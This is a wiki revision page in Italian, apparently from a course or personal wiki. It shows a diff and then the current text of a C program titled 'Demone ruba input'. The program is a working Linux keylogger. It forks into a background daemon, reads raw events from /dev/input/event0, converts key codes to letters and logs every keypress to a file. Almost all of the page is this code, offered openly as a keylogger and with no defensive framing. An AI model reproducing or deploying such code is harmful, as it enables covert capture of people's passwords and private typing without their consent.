Difference between revisions of "Demone ruba input"
Jump to navigation
Jump to search
(Created page with "L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di let...") |
|||
Line 1: | Line 1: | ||
− | + | Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger. | |
− | + | ||
+ | Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento. | ||
<source lang="C"> | <source lang="C"> | ||
Line 12: | Line 13: | ||
struct input_event inputs[MAX_BUFFER]; | struct input_event inputs[MAX_BUFFER]; | ||
+ | char toChar(int code); | ||
+ | |||
+ | /** | ||
+ | * Federico Giuggioloni 25 Febbraio 2015 | ||
+ | */ | ||
int main(int args, char* argv[]) | int main(int args, char* argv[]) | ||
{ | { | ||
Line 23: | Line 29: | ||
{ | { | ||
//Figlio | //Figlio | ||
− | printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid()); | + | //printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid()); |
int i = 0; | int i = 0; | ||
int fd = open("/dev/input/event0", O_RDONLY); | int fd = open("/dev/input/event0", O_RDONLY); | ||
+ | int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY); | ||
while(1) | while(1) | ||
Line 33: | Line 40: | ||
for(i = 0; i < MAX_BUFFER; i++) | for(i = 0; i < MAX_BUFFER; i++) | ||
{ | { | ||
− | printf("% | + | char c = toChar(inputs[i].code); |
− | if(inputs[i].value == | + | //printf("%c\t", c); |
+ | if(inputs[i].code == KEY_ESC) | ||
+ | { | ||
+ | exit(0); | ||
+ | } | ||
+ | else if(inputs[i].code == KEY_ENTER) | ||
+ | { | ||
+ | |||
+ | } | ||
+ | else if(inputs[i].code != 0 && inputs[i].type == EV_KEY | ||
+ | && inputs[i].value == 1) | ||
{ | { | ||
− | + | write(fd1, &c, 1); | |
} | } | ||
+ | |||
} | } | ||
+ | //printf("\n"); | ||
i++; | i++; | ||
} | } | ||
− | printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid()); | + | //printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid()); |
exit(0); | exit(0); | ||
} | } | ||
return 0; | return 0; | ||
+ | } | ||
+ | |||
+ | char toChar(int code) | ||
+ | { | ||
+ | switch(code) | ||
+ | { | ||
+ | case KEY_Q: | ||
+ | return 'q'; | ||
+ | case KEY_W: | ||
+ | return 'w'; | ||
+ | case KEY_E: | ||
+ | return 'e'; | ||
+ | case KEY_R: | ||
+ | return 'r'; | ||
+ | case KEY_T: | ||
+ | return 't'; | ||
+ | case KEY_Y: | ||
+ | return 'y'; | ||
+ | case KEY_U: | ||
+ | return 'u'; | ||
+ | case KEY_I: | ||
+ | return 'i'; | ||
+ | case KEY_O: | ||
+ | return 'o'; | ||
+ | case KEY_P: | ||
+ | return 'p'; | ||
+ | case KEY_A: | ||
+ | return 'a'; | ||
+ | case KEY_S: | ||
+ | return 's'; | ||
+ | case KEY_D: | ||
+ | return 'd'; | ||
+ | case KEY_F: | ||
+ | return 'f'; | ||
+ | case KEY_G: | ||
+ | return 'g'; | ||
+ | case KEY_H: | ||
+ | return 'h'; | ||
+ | case KEY_J: | ||
+ | return 'j'; | ||
+ | case KEY_K: | ||
+ | return 'k'; | ||
+ | case KEY_L: | ||
+ | return 'l'; | ||
+ | case KEY_Z: | ||
+ | return 'z'; | ||
+ | case KEY_X: | ||
+ | return 'x'; | ||
+ | case KEY_C: | ||
+ | return 'c'; | ||
+ | case KEY_V: | ||
+ | return 'v'; | ||
+ | case KEY_B: | ||
+ | return 'b'; | ||
+ | case KEY_N: | ||
+ | return 'n'; | ||
+ | case KEY_M: | ||
+ | return 'm'; | ||
+ | case KEY_SPACE: | ||
+ | return ' '; | ||
+ | default: | ||
+ | return '0'; | ||
+ | } | ||
} | } | ||
</source> | </source> |
Revision as of 13:01, 2 March 2015
Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.
Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>
#define MAX_BUFFER 16
struct input_event inputs[MAX_BUFFER];
char toChar(int code);
/**
* Federico Giuggioloni 25 Febbraio 2015
*/
int main(int args, char* argv[])
{
if(fork())
{
//Padre
exit(0);
}
else
{
//Figlio
//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
int i = 0;
int fd = open("/dev/input/event0", O_RDONLY);
int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);
while(1)
{
//read(fd, &letto, sizeof(int));
read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
for(i = 0; i < MAX_BUFFER; i++)
{
char c = toChar(inputs[i].code);
//printf("%c\t", c);
if(inputs[i].code == KEY_ESC)
{
exit(0);
}
else if(inputs[i].code == KEY_ENTER)
{
}
else if(inputs[i].code != 0 && inputs[i].type == EV_KEY
&& inputs[i].value == 1)
{
write(fd1, &c, 1);
}
}
//printf("\n");
i++;
}
//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
exit(0);
}
return 0;
}
char toChar(int code)
{
switch(code)
{
case KEY_Q:
return 'q';
case KEY_W:
return 'w';
case KEY_E:
return 'e';
case KEY_R:
return 'r';
case KEY_T:
return 't';
case KEY_Y:
return 'y';
case KEY_U:
return 'u';
case KEY_I:
return 'i';
case KEY_O:
return 'o';
case KEY_P:
return 'p';
case KEY_A:
return 'a';
case KEY_S:
return 's';
case KEY_D:
return 'd';
case KEY_F:
return 'f';
case KEY_G:
return 'g';
case KEY_H:
return 'h';
case KEY_J:
return 'j';
case KEY_K:
return 'k';
case KEY_L:
return 'l';
case KEY_Z:
return 'z';
case KEY_X:
return 'x';
case KEY_C:
return 'c';
case KEY_V:
return 'v';
case KEY_B:
return 'b';
case KEY_N:
return 'n';
case KEY_M:
return 'm';
case KEY_SPACE:
return ' ';
default:
return '0';
}
}